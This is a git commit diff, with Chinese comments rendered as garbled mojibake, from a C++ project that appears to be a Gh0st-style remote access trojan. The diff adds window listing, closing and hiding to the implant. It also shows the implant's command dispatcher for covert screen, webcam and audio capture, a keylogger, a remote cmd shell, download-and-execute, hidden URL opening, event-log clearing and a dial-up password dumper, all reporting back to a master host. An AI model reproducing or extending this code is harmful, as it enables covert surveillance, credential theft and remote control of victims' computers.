添加了服务端遍历窗口数据的代码与注释

This commit is contained in:
ChangCheng
2020-05-30 16:36:31 +08:00
parent c95afb225a
commit 2cee9bb467
8 changed files with 106 additions and 30 deletions

Binary file not shown.

View File

@@ -79,8 +79,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996
SystemManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(119): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(210): warning C4101: “cbNeeded”: 未引用的局部变量
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
VideoCap.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(118): warning C4101: “gCapTureParms”: 未引用的局部变量
VideoManager.cpp

View File

@@ -56,23 +56,23 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
case COMMAND_ACTIVED:
InterlockedExchange((LONG *)&m_bIsActived, true);
break;
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
case COMMAND_LIST_DRIVE: // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>
case COMMAND_SCREEN_SPY: // <20><>Ļ<EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
case COMMAND_WEBCAM: // <20><><EFBFBD><EFBFBD>ͷ
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
case COMMAND_AUDIO: // <20><><EFBFBD><EFBFBD>ͷ
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SHELL: // Զ<><D4B6>sehll
case COMMAND_SHELL: // Զ<><D4B6>shell-CMD
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
@@ -80,39 +80,43 @@ void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_SYSTEM:
case COMMAND_SYSTEM: // <20><><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_WSLIST: // <20><><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_WindowManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
case COMMAND_DOWN_EXEC: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
(LPVOID)(lpBuffer + 1), 0, NULL, true);
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
Sleep(100); // <20><><EFBFBD>ݲ<EFBFBD><DDB2><EFBFBD><EFBFBD><EFBFBD>
break;
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
case COMMAND_OPEN_URL_SHOW: // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
case COMMAND_OPEN_URL_HIDE: // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
break;
case COMMAND_REMOVE: // ж<><D0B6>,
case COMMAND_REMOVE: // ж<><D0B6>,
UnInstallService();
break;
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
case COMMAND_CLEAN_EVENT: // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
CleanEvent();
break;
case COMMAND_SESSION:
CSystemManager::ShutdownWindows(lpBuffer[1]);
break;
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
case COMMAND_RENAME_REMARK: // <20>ı<EFBFBD>ע
SetHostID(m_strServiceName, (LPCTSTR)(lpBuffer + 1));
break;
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
case COMMAND_UPDATE_SERVER: // <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
if (UpdateServer((char *)lpBuffer + 1))
UnInstallService();
break;
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
case COMMAND_REPLAY_HEARTBEAT: // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
break;
}
}

View File

@@ -17,9 +17,17 @@
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CSystemManager::CSystemManager(CClientSocket *pClient) : CManager(pClient)
CSystemManager::CSystemManager(CClientSocket *pClient, BYTE bHow) : CManager(pClient)
{
SendProcessList();
m_caseSystemIs = bHow;
if (m_caseSystemIs == COMMAND_SYSTEM) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
SendProcessList();
}
else if (m_caseSystemIs == COMMAND_WSLIST) //<2F><><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>
{
SendWindowsList();
}
}
CSystemManager::~CSystemManager()
@@ -28,20 +36,26 @@ CSystemManager::~CSystemManager()
}
void CSystemManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
SwitchInputDesktop();
switch (lpBuffer[0])
switch (lpBuffer[0])//<2F><><EFBFBD><EFBFBD><EFBFBD>ǽ<EFBFBD><C7BD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵĺ<DDB5><C4BA><EFBFBD><EFBFBD><EFBFBD> <20>ж<EFBFBD><D0B6><EFBFBD><EFBFBD>ĸ<EFBFBD><C4B8><EFBFBD><EFBFBD><EFBFBD>
{
case COMMAND_PSLIST:
SendProcessList();
case COMMAND_PSLIST: //<2F><><EFBFBD>ͽ<EFBFBD><CDBD><EFBFBD><EFBFBD>б<EFBFBD>
SendProcessList();
break;
case COMMAND_WSLIST:
case COMMAND_WSLIST: //<2F><><EFBFBD>ʹ<EFBFBD><CDB4><EFBFBD><EFBFBD>б<EFBFBD>
SendWindowsList();
break;
case COMMAND_DIALUPASS:
SendDialupassList();
case COMMAND_DIALUPASS: //<2F><><EFBFBD><EFBFBD>20200530
break;
case COMMAND_KILLPROCESS:
case COMMAND_KILLPROCESS: //<2F>رս<D8B1><D5BD><EFBFBD>
KillProcess((LPBYTE)lpBuffer + 1, nSize - 1);
case COMMAND_WINDOW_CLOSE: //<2F>رմ<D8B1><D5B4><EFBFBD>
CloseTheWindow(lpBuffer + 1);
break;
case COMMAND_WINDOW_TEST: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD><D0A1> <20><><EFBFBD>ش<EFBFBD><D8B4>ں<EFBFBD>
ShowTheWindow(lpBuffer + 1);
break;
default:
break;
}
@@ -64,14 +78,18 @@ void CSystemManager::SendProcessList()
void CSystemManager::SendWindowsList()
{
UINT nRet = -1;
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
LPBYTE lpBuffer = getWindowsList();
if (lpBuffer == NULL)
return;
//<2F><><EFBFBD>ͱ<EFBFBD><CDB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
//<2F><><EFBFBD><EFBFBD>20200530
void CSystemManager::SendDialupassList()
{
CDialupass pass;
@@ -280,6 +298,7 @@ LPBYTE CSystemManager::getProcessList()
return lpBuffer;
}
//<2F><>Ȩ
bool CSystemManager::DebugPrivilege(const char *PName,BOOL bEnable)
{
BOOL bResult = TRUE;
@@ -312,6 +331,7 @@ void CSystemManager::ShutdownWindows( DWORD dwReason )
DebugPrivilege(SE_SHUTDOWN_NAME,FALSE);
}
//<2F><><EFBFBD>ڻص<DABB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>
bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD dwLength = 0;
@@ -321,21 +341,27 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
char strTitle[1024];
memset(strTitle, 0, sizeof(strTitle));
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD><EFBFBD>ı<EFBFBD><C4B1><EFBFBD>
GetWindowText(hwnd, strTitle, sizeof(strTitle));
//<2F>жϴ<D0B6><CFB4><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7>ɼ<EFBFBD><C9BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
if (!IsWindowVisible(hwnd) || lstrlen(strTitle) == 0)
return true;
//<2F><><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>Ϊ<EFBFBD>յĻ<D5B5><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
//<2F><><EFBFBD>ú<EFBFBD><C3BA><EFBFBD>ʱѭ<CAB1><D1AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Եڶ<D4B5><DAB6>ν<EFBFBD><CEBD><EFBFBD><EFBFBD>Ͳ<EFBFBD><CDB2>ǿյģ<D5B5><C4A3>ö<EFBFBD>̬<EFBFBD><CCAC>LocalReAlloc<6F>ı<EFBFBD><C4B1>Ѵ<EFBFBD>Сʵ<D0A1><CAB5><EFBFBD><EFBFBD><EFBFBD>ݶ<EFBFBD><DDB6><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD>
if (lpBuffer == NULL)
//<2F><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>СΪ1<CEAA><31><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>һ<EFBFBD>ֽ<EFBFBD>Ϊ֪ͨ<CDA8><D6AA><EFBFBD>ƶ˱<C6B6>ʶ
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1);
dwLength = sizeof(DWORD) + lstrlen(strTitle) + 1;
dwOffset = LocalSize(lpBuffer);
//<2F><><EFBFBD><EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ڵĴ<DAB5><C4B4><EFBFBD><EFBFBD><EFBFBD> + <20><><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ݽṹΪ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>PID + hwnd + <20><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD> + 0
GetWindowThreadProcessId(hwnd, (LPDWORD)(lpBuffer + dwOffset));
memcpy((lpBuffer + dwOffset), &hwnd, sizeof(DWORD));
memcpy(lpBuffer + dwOffset + sizeof(DWORD), strTitle, lstrlen(strTitle) + 1);
*(LPBYTE *)lParam = lpBuffer;
@@ -343,6 +369,8 @@ bool CALLBACK CSystemManager::EnumWindowsProc(HWND hwnd, LPARAM lParam)
return true;
}
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD>
LPBYTE CSystemManager::getWindowsList()
{
LPBYTE lpBuffer = NULL;
@@ -350,6 +378,27 @@ LPBYTE CSystemManager::getWindowsList()
//ö<><C3B6><EFBFBD><EFBFBD>Ļ<EFBFBD>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>еĶ<D0B5><C4B6><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؽ<EFBFBD><D8BD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD>ڵľ<DAB5><C4BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݸ<EFBFBD>һ<EFBFBD><D2BB>Ӧ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļص<C4BB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//EnumWindows<77><73>һֱ<D2BB><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȥ<EFBFBD><C8A5>ֱ<EFBFBD><D6B1>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еĶ<D0B5><C4B6><EFBFBD>ڣ<EFBFBD><DAA3><EFBFBD><EFBFBD>߻ص<DFBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>FALSE.
EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer);
//<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>TOKEN_WSLIST<53><54><EFBFBD>ض<EFBFBD>ʶ<EFBFBD><CAB6>
lpBuffer[0] = TOKEN_WSLIST;
return lpBuffer;
}
//<2F>رմ<D8B1><D5B4><EFBFBD>
void CSystemManager::CloseTheWindow(LPBYTE buf)
{
DWORD hwnd;
memcpy(&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
::PostMessage((HWND__ *)hwnd, WM_CLOSE, 0, 0); //<2F>򴰿ڷ<F2B4B0BF><DAB7>͹ر<CDB9><D8B1><EFBFBD>Ϣ
}
//<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>
void CSystemManager::ShowTheWindow(LPBYTE buf)
{
DWORD hwnd;
DWORD dHow;
memcpy((void*)&hwnd, buf, sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ھ<EFBFBD><DABE><EFBFBD>
memcpy(&dHow, buf + sizeof(DWORD), sizeof(DWORD)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
ShowWindow((HWND__ *)hwnd, dHow);
}

View File

@@ -14,7 +14,7 @@
class CSystemManager : public CManager
{
public:
CSystemManager(CClientSocket *pClient);
CSystemManager(CClientSocket *pClient, BYTE bHow);//bHow<6F>Ǵ<EFBFBD><C7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܵı<DCB5>־
virtual ~CSystemManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
@@ -22,6 +22,8 @@ public:
static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam);
static void ShutdownWindows(DWORD dwReason);
private:
BYTE m_caseSystemIs;//<2F><><EFBFBD><EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD>̻<EFBFBD><CCBB>ߴ<EFBFBD><DFB4>ڵı<DAB5><C4B1><EFBFBD>
BOOL GetProcessFullPath(DWORD dwPID, TCHAR pszFullPath[MAX_PATH]);
BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath);
LPBYTE getProcessList();
@@ -30,6 +32,8 @@ private:
void SendWindowsList();
void SendDialupassList();
void KillProcess(LPBYTE lpBuffer, UINT nSize);
void ShowTheWindow(LPBYTE buf);
void CloseTheWindow(LPBYTE buf);
};
#endif // !defined(AFX_SYSTEMMANAGER_H__26C71561_C37D_44F2_B69C_DAF907C04CBE__INCLUDED_)

View File

@@ -110,19 +110,35 @@ DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
return 0;
}
//<2F><><EFBFBD>̱<EFBFBD><CCB1><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_SystemManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CSystemManager manager(&socketClient);
CSystemManager manager(&socketClient, COMMAND_SYSTEM);
socketClient.run_event_loop();
return 0;
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD>
DWORD WINAPI Loop_WindowManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CSystemManager manager(&socketClient, COMMAND_WSLIST);
socketClient.run_event_loop();
return 0;
}
DWORD WINAPI Loop_DownManager(LPVOID lparam)
{
int nUrlLength;

Binary file not shown.

View File

@@ -61,6 +61,9 @@ enum
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
COMMAND_WINDOW_CLOSE, // <20>رմ<D8B1><D5B4><EFBFBD>
COMMAND_WINDOW_TEST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>